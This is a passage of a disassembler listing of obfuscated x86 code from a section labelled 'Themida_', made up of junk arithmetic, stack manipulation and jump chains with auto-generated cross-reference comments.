; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_554CB8:				; CODE XREF: sub_55ABF6-58CAj
		mov	eax, [esp-0Ah+arg_4+2]
		add	esp, 4
		push	ecx
		mov	ecx, 3EA57C7Bh
		jmp	loc_5569F4
; ---------------------------------------------------------------------------


loc_554CCC:				; CODE XREF: sub_55ABF6+305Fj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6+arg_0+2]
		jmp	loc_55AE8F
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552F98


loc_554CE3:				; CODE XREF: sub_552F98+5579j
		mov	ebx, 9C8FED13h
		sub	ebp, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		add	ecx, ebp
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		push	edi
		mov	edi, 2
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp-8+arg_4]
		pop	esp
		jmp	loc_55C4D6
; END OF FUNCTION CHUNK	FOR sub_552F98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C840


loc_554D0D:				; CODE XREF: sub_55C840-1221j
		push	eax
		mov	al, 8Fh
		sub	al, 7
		add	al, 1Eh
		xor	dl, al
		pop	eax
		push	small 0
		sub	[esp+0], dl
		jmp	loc_553004
; END OF FUNCTION CHUNK	FOR sub_55C840
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_559C10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55591C


loc_554D2C:				; CODE XREF: sub_55591C-33A3j
		pop	esp
		sub	byte ptr [esp-4+arg_0],	al
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55591C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_554D36:				; CODE XREF: sub_55314C+34D5j
		push	eax
		mov	eax, 4D1C3800h
		push	edi
		mov	edi, 77565AD4h
		mov	esi, 0ADEE5E8Ch
		xor	esi, edi
		jmp	loc_553A30
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------


loc_554D4E:				; CODE XREF: Themida_:00551D65j
		mov	edx, 4
		sub	esi, 6261D5Bh
		add	esi, edx
		add	esi, 6261D5Bh
		mov	edx, [esp]
		jmp	loc_55C7DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556901


loc_554D69:				; CODE XREF: sub_556901-1D3Aj
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 222C7CDDh
		xor	eax, 26FD302Dh
		inc	eax
		jmp	loc_559ED6
; END OF FUNCTION CHUNK	FOR sub_556901
; ---------------------------------------------------------------------------


loc_554D85:				; CODE XREF: Themida_:0055683Cj
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		movzx	ecx, al
		push	64FBh
		jmp	loc_551878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_554DA7:				; CODE XREF: sub_554592+1A8Cj
		sub	ebx, edi
		jmp	loc_55AD9B
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_554DAE:				; CODE XREF: sub_558326+58BFj
		xor	dword ptr [edx+38h], 49EF5AF3h
		jmp	loc_55B57C
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_554DBA:				; CODE XREF: sub_55C58B-83DDj
		mov	ecx, 5E0D36B1h
		neg	ecx
		shl	ecx, 2
		sub	ecx, 2B93F766h
		mov	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 256A6D6Bh
		add	edx, 19411951h
		sub	edx, ebp
		push	ecx
		jmp	loc_553D8B
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553ACA


loc_554DE1:				; CODE XREF: sub_553ACA-16j
		sub	esi, ebp
		add	esi, 23452C09h
		jmp	loc_551526
; END OF FUNCTION CHUNK	FOR sub_553ACA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_554DEE:				; CODE XREF: sub_55B62C-1312j
		sub	ebx, 2
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], cx
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------


loc_554E06:				; CODE XREF: Themida_:005588BAj
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_5520F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555A6F


loc_554E19:				; CODE XREF: sub_555A6F+8j
		sub	bl, cl
		mov	ecx, [esp+4+var_4]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55D3B1
; END OF FUNCTION CHUNK	FOR sub_555A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5545BE


loc_554E2B:				; CODE XREF: sub_5545BE+8934j
		pop	edx
		jmp	loc_554901
; END OF FUNCTION CHUNK	FOR sub_5545BE
; ---------------------------------------------------------------------------


loc_554E31:				; CODE XREF: Themida_:00556867j
		mov	[esp], eax
		mov	al, 4
		xor	ch, al
		mov	eax, [esp]
		push	edx
		push	74F0h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_55BB6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552850


loc_554E5C:				; CODE XREF: sub_552850+3D6Cj
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_55A00E
; END OF FUNCTION CHUNK	FOR sub_552850
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_554E69:				; CODE XREF: sub_55BB30-173j
		sub	ecx, eax
		pop	eax
		add	ebx, 54126C6h
		sub	ebx, ecx
		sub	ebx, 54126C6h
		pop	ecx
		sub	ebx, 2D2B64E4h
		add	ebx, 47292349h
		sub	ebx, eax
		sub	ebx, 47292349h
		push	edx
		mov	edx, 2D2B64E4h
		add	ebx, edx
		pop	edx
		jmp	loc_55843D
; END OF FUNCTION CHUNK	FOR sub_55BB30

; =============== S U B	R O U T	I N E =======================================



sub_554E9D	proc near		; CODE XREF: sub_553464+906Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00551DBC SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00551FB2 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 00552428 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00552538 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00553246 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005534FE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00554754 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005548CF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00554AAE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00555CA1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005566B8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005568D5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00556975 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00557169 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055721D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00557C5D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00558790 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005588E9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005591CB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00559C7D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055BA21 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055C750 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055CDE1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055CF41 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055D456 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055D7AD SIZE 0000000E BYTES

		push	ebx
		jmp	loc_5568D5
sub_554E9D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_554EA3:				; CODE XREF: sub_55AE3A-2015j
		pop	ebx
		jmp	loc_55CE53
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_554EA9:				; CODE XREF: sub_559249+2A24j
		pop	eax
		mov	ebx, 53953078h
		jmp	loc_551A25
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_554EB4:				; CODE XREF: Themida_:00556F69j
		mov	eax, [esp]
		jmp	loc_5524C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_554EBC:				; CODE XREF: sub_55ABF6+105Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55698C
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_554ECA:				; CODE XREF: Themida_:0055AE77j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		mov	eax, 3F1B076Eh
		sub	eax, 60013C18h
		neg	eax
		sub	eax, 48CD28B7h
		or	eax, 24E13570h
		inc	eax
		add	eax, 55C2ECBDh
		xor	ebp, eax
		pop	eax
		push	edx
		jmp	loc_55A86A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_554EF7:				; CODE XREF: sub_55CE17-AD5Fj
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	0FFFFFFFFh
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_55B026
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552791


loc_554F1D:				; CODE XREF: sub_552791+A152j
		shl	dh, 1
		add	dh, 13h
		add	al, dh
		jmp	loc_5546EE
; END OF FUNCTION CHUNK	FOR sub_552791
; ---------------------------------------------------------------------------


loc_554F29:				; CODE XREF: Themida_:00555F13j
		shr	ah, 1
		add	ah, 5Dh
		jmp	loc_554640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553284


loc_554F33:				; CODE XREF: sub_553284+5030j
		mov	[esp+4+var_4], edx
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_553284
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552118


loc_554F3B:				; CODE XREF: sub_552118+B936j
		and	ebp, ebx
		pop	ebx
		add	ebp, 5990B90Ch
		xor	eax, ebp
		push	dword ptr [esp+0]
		pop	ebp
		jmp	loc_5559CF
; END OF FUNCTION CHUNK	FOR sub_552118
; ---------------------------------------------------------------------------


loc_554F4F:				; CODE XREF: Themida_:00559533j
		add	esp, 4
		add	eax, ecx
		pop	ecx
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	$+5
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_554F6F:				; CODE XREF: Themida_:00557068j
		sub	edi, 3CF932BEh
		pop	esi
		push	edx
		mov	edx, 1839692Ch
		sub	edx, 124C5EE1h
		jmp	loc_5599F0

; =============== S U B	R O U T	I N E =======================================



sub_554F87	proc near		; CODE XREF: sub_55890A-180Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0055305A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005585B8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055C497 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055CB81 SIZE 00000017 BYTES

		push	ebp
		jmp	loc_5585B8
sub_554F87	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_554F8D:				; CODE XREF: sub_55C58B-5743j
		push	cx
		mov	cl, 0DEh
		jmp	loc_559B58
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C87F


loc_554F96:				; CODE XREF: sub_55C87F-1734j
		mov	[esp+4+var_4], edx
		push	ebx
		pop	edx
		mov	eax, edx
		pop	edx
		push	ebx
		jmp	sub_55C814
; END OF FUNCTION CHUNK	FOR sub_55C87F
; ---------------------------------------------------------------------------


loc_554FA4:				; CODE XREF: Themida_:0055629Bj
		add	esp, 4
		push	esi
		jmp	loc_55D437
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_554FB0:				; CODE XREF: sub_55910B+2926j
		push	edx
		push	small 6BE1h
		jmp	loc_553927
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_554FBA:				; CODE XREF: sub_55A4DA-7AD6j
		and	edx, 657F2256h
		push	esi
		mov	esi, 29B82E51h
		xor	edx, esi
		mov	esi, [esp+0Ch+var_C]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55A7C7
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A833


loc_554FDC:				; CODE XREF: sub_55A833-7ECFj
		pop	eax
		jmp	loc_552A3F
; END OF FUNCTION CHUNK	FOR sub_55A833
; ---------------------------------------------------------------------------


loc_554FE2:				; CODE XREF: Themida_:00554309j
		shr	edi, 2
		xor	edi, 0A363A4Ah
		jmp	loc_553D0C
; ---------------------------------------------------------------------------


loc_554FF0:				; CODE XREF: Themida_:005587ABj
		pop	edx
		pop	ecx
		push	eax
		jmp	loc_5527F4
; ---------------------------------------------------------------------------


loc_554FF8:				; CODE XREF: Themida_:00552B23j
		add	esp, 4
		push	esi
		jmp	loc_558713
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555211


loc_555004:				; CODE XREF: sub_555211+796Bj
		mov	[esp+0Ch+var_C], eax
		mov	ah, dl
		mov	bl, ah
		pop	eax
		push	eax
		mov	ah, bl
		mov	ch, ah
		pop	eax
		pop	ebx
		mov	[eax], ch
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	ecx
		add	esp, 4
		add	esp, 4
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_555211
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555A6F


loc_55502A:				; CODE XREF: sub_555A6F-30E2j
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 28h
		sub	ebx, 5E5B0B09h
		add	ebx, edi
		add	ebx, 5E5B0B09h
		push	edx
		push	ebx
		push	edx
		mov	edx, 51062226h
		jmp	loc_55817D
; END OF FUNCTION CHUNK	FOR sub_555A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555057:				; CODE XREF: sub_55ABF6-3ED0j
		add	[esp-2+arg_0+2], esi
		pop	esi
		mov	esi, [esp-6+arg_0+2]
		add	esp, 4
		push	3E1Ch
		mov	[esp-6+arg_0+2], ecx
		mov	ecx, 34F45E96h
		push	ebp
		mov	ebp, 7D924616h
		xor	ecx, ebp
		pop	ebp
		sub	esi, 416748F3h
		sub	esi, ecx
		add	esi, 416748F3h
		pop	ecx
		mov	eax, esi
		push	[esp-0Ah+arg_4+2]
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55572D
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554628


loc_55509B:				; CODE XREF: sub_554628+533Cj
		push	esi
		mov	esi, 0
		jmp	loc_55498E
; END OF FUNCTION CHUNK	FOR sub_554628

; =============== S U B	R O U T	I N E =======================================



sub_5550A6	proc near		; DATA XREF: Themida_:005513A8o

var_4		= dword	ptr -4

		lodsd
		add	eax, 4A54919h
		add	eax, 0A2905B9h
		add	eax, ebx
		sub	eax, 0A2905B9h
		push	7A2Bh
		mov	[esp+4+var_4], edi
		mov	edi, 436D74DAh
		dec	edi
		not	edi
		sub	edi, 3340466Ch
		jmp	sub_557D5E
sub_5550A6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_5550D3:				; CODE XREF: sub_55BB30-1EFj
		pop	ebp
		sub	eax, 5A3A1250h
		jmp	loc_5598FA
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555D0D


loc_5550DE:				; CODE XREF: sub_555D0D+39j
		or	ebx, 68EE1F24h
		and	ebx, 22DD673Ah
		sub	ebx, 5EA309A1h
		add	ebx, 433F5968h
		add	ebx, 139D8F9Dh
		sub	ecx, ebx
		pop	ebx
		jmp	sub_55591C
; END OF FUNCTION CHUNK	FOR sub_555D0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555104:				; CODE XREF: sub_55ABF6+C84j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6+arg_0+2]
		pop	esp
		push	43A6h
		mov	[esp-6+arg_0+2], edx
		mov	edx, 40h
		jmp	loc_556577
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A833


loc_555124:				; CODE XREF: sub_55A833-7DF0j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], eax
		jmp	sub_558B68
; END OF FUNCTION CHUNK	FOR sub_55A833
; ---------------------------------------------------------------------------


loc_55513B:				; CODE XREF: Themida_:0055C530j
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		push	edx
		push	5E10247Fh
		mov	edx, [esp]
		add	esp, 4
		add	edx, 78D51464h
		jmp	loc_555FFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D0F3


loc_555158:				; CODE XREF: sub_55D0F3-B817j
		pop	esi
		xor	ecx, [esp+4+var_4]
		xor	[esp+4+var_4], ecx
		xor	ecx, [esp+4+var_4]
		jmp	loc_55BEFA
; END OF FUNCTION CHUNK	FOR sub_55D0F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_555167:				; CODE XREF: sub_55611A-1B7Dj
		sub	dh, 0FEh
		xor	dh, 9Eh
		sub	al, dh
		jmp	loc_55992C
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555174:				; CODE XREF: sub_55ABF6-470Ej
		not	edi
		xchg	edi, esi
		sub	esi, 0E1F51F40h
		and	eax, esi
		mov	esi, [esp-6+arg_0+2]
		add	esp, 4
		or	eax, eax
		jnz	sub_55DE28
		push	ecx
		mov	ecx, 4EEE5611h
		not	ecx
		jmp	loc_55CA87
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55519E:				; CODE XREF: sub_559249-2142j
		pop	esp
		push	1BFh
		mov	[esp+14h+var_14], ebp
		mov	ebp, 40000h
		and	eax, ebp
		push	[esp+14h+var_14]
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_55C879
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_5551BF:				; CODE XREF: Themida_:00558879j
		add	esi, eax
		push	eax
		mov	eax, 32C31493h
		add	esi, eax
		pop	eax
		jmp	loc_55664B
; ---------------------------------------------------------------------------


loc_5551CF:				; CODE XREF: Themida_:005588C5j
		shl	bh, 5
		dec	bh
		push	ecx
		push	6705h
		mov	[esp], ebx
		mov	bl, 5Fh
		mov	cl, 0FDh
		jmp	loc_55C20E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5551E6:				; CODE XREF: sub_55ABF6+29B2j
		pop	ecx
		xor	edi, 314824BBh
		jmp	loc_557A31
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C840


loc_5551F2:				; CODE XREF: sub_55C840-68D0j
		pop	ecx
		push	2F60h
		mov	[esp+0], edx
		push	ebx
		jmp	loc_5598CD
; END OF FUNCTION CHUNK	FOR sub_55C840
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D0F3


loc_555201:				; CODE XREF: sub_55D0F3-A1Aj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_558BBB
; END OF FUNCTION CHUNK	FOR sub_55D0F3

; =============== S U B	R O U T	I N E =======================================



sub_555211	proc near		; CODE XREF: sub_55178F+BBB9j

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551C5D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00555004 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055A5E0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055BA97 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055C9F1 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0055CB61 SIZE 00000020 BYTES

		push	ebx
		jmp	loc_55BA97
sub_555211	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_555217:				; CODE XREF: sub_551F97+9A08j
		add	si, 0F3E6h
		mov	dx, si
		pop	esi
		jmp	loc_556809
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------


loc_555225:				; CODE XREF: Themida_:005536F8j
		or	ecx, 7F7249DAh
		xor	ecx, 9A2911BBh
		mov	ebp, ecx
		pop	ecx
		push	ebx
		mov	ebx, 45C7688Dh
		and	ebx, 4AFF534Ah
		xor	ebx, 58E22A76h
		shl	ebx, 7
		neg	ebx
		add	ebx, 8E3A5650h
		or	ebp, ebx
		pop	ebx
		sub	ebp, 7FDF5F50h
		add	esi, ebp
		pop	ebp
		push	ebp
		jmp	loc_5577A3
; ---------------------------------------------------------------------------


loc_555263:				; CODE XREF: Themida_:00553DBEj
		push	ecx
		mov	ecx, 31010CCEh
		xor	ecx, 20BB6392h
		shl	ecx, 8
		xor	ecx, 0F394A6Fh
		not	ecx
		sub	ecx, 4AA9E98Ch
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555291:				; CODE XREF: sub_55ABF6-56C2j
		xor	esi, 11A0FC1Ah
		add	eax, esi
		jmp	loc_55ABD7
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555B43


loc_55529E:				; CODE XREF: sub_555B43-242Ej
		pop	esp
		push	ecx
		jmp	loc_5541D2
; END OF FUNCTION CHUNK	FOR sub_555B43
; ---------------------------------------------------------------------------


loc_5552A5:				; CODE XREF: Themida_:00555844j
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_5552BE:				; CODE XREF: Themida_:005537C2j
		pop	ebx
		jmp	loc_55B848
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_5552C4:				; CODE XREF: sub_55AE3A-82E8j
		sub	dh, 6Eh
		or	ah, dh
		pop	edx
		sub	ah, 0C9h
		xor	cl, ah
		pop	eax
		jmp	loc_55342F
; END OF FUNCTION CHUNK	FOR sub_55AE3A

; =============== S U B	R O U T	I N E =======================================



sub_5552D5	proc near		; CODE XREF: sub_55ABF6-25F9j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 687A166Fh
		xor	edi, 687A166Dh
		add	ebx, 232E1B8Ah
		add	ebx, edi
		sub	ebx, 232E1B8Ah
		pop	edi
		jmp	sub_55D3E1
sub_5552D5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_5552FD:				; CODE XREF: sub_55910B-26F9j
		not	bh
		jmp	loc_556392
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_555304:				; CODE XREF: sub_55C814+499j
		push	[esp+0Ch+var_8]
		jmp	loc_558F53
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557DAD


loc_55530D:				; CODE XREF: sub_557DAD-16AAj
		sub	bl, 2Fh
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_557DAD
; ---------------------------------------------------------------------------
		popa
		jmp	loc_554601
; ---------------------------------------------------------------------------


loc_55531C:				; CODE XREF: Themida_:0055BF43j
		mov	ah, 0EBh
		xor	ah, 0E1h
		add	bh, ah
		jmp	loc_5519A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555328:				; CODE XREF: sub_55ABF6-B87j
		xchg	eax, [esp-0Ah+arg_4+2]
		pop	esp
		jmp	loc_554CB8
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_555331:				; CODE XREF: sub_559249-55CEj
		pop	ebx
		xor	ecx, [esp+18h+var_18]
		xor	[esp+18h+var_18], ecx
		xor	ecx, [esp+18h+var_18]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		push	esi
		jmp	loc_55CA4A
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555353:				; CODE XREF: sub_55ABF6-1DE6j
		add	edi, 0FC7BDBECh
		jmp	loc_556F54
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_55535E:				; CODE XREF: sub_5523E1+C63j
		mov	[esp+4+var_4], ebp
		jmp	loc_5578C1
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------


loc_555366:				; CODE XREF: Themida_:0055B5E8j
		or	edx, 6CAC06E2h
		inc	edx
		jmp	loc_55ADAF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_555372:				; CODE XREF: sub_55910B-68F8j
		pop	esp
		jmp	loc_55B37A
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------


loc_555378:				; CODE XREF: Themida_:005518CFj
		pop	edx
		add	edx, ecx
		jmp	loc_55683B
; ---------------------------------------------------------------------------


loc_555380:				; CODE XREF: Themida_:005582F4j
		pop	edx
		jmp	loc_5571BF
; ---------------------------------------------------------------------------
		push	edx
		jmp	loc_5534C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A918


loc_55538C:				; CODE XREF: sub_55A918+5j
		mov	ah, 0FFh
		jmp	loc_55217C
; END OF FUNCTION CHUNK	FOR sub_55A918
; ---------------------------------------------------------------------------


loc_555393:				; CODE XREF: Themida_:00559C50j
		add	ebx, 37680FD8h
		push	eax
		mov	eax, 6A3B4497h
		add	eax, 6AD106FAh
		xor	eax, 18C32382h
		sub	eax, 0A57B0741h
		xor	ebx, eax
		pop	eax
		sub	ebx, 254742ACh
		xor	ebx, 13241E10h
		or	esi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 0
		sub	ebp, esi
		xchg	ebp, esi
		pop	ebp
		not	esi
		dec	esi
		sub	esi, 728A1676h
		sub	esi, 0FB756955h
		add	edx, esi
		pop	esi
		jmp	loc_55B381
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D9AA


loc_5553E2:				; CODE XREF: sub_55D9AA-408Bj
		sub	edx, 7CA266Dh
		add	edx, eax
		jmp	loc_558961
; END OF FUNCTION CHUNK	FOR sub_55D9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_5553EF:				; CODE XREF: sub_55C1DB-3C37j
		add	ebx, eax
		pop	eax
		add	ebx, eax
		sub	ebx, 5727204Ah
		push	1210h
		mov	[esp+4+var_4], edi
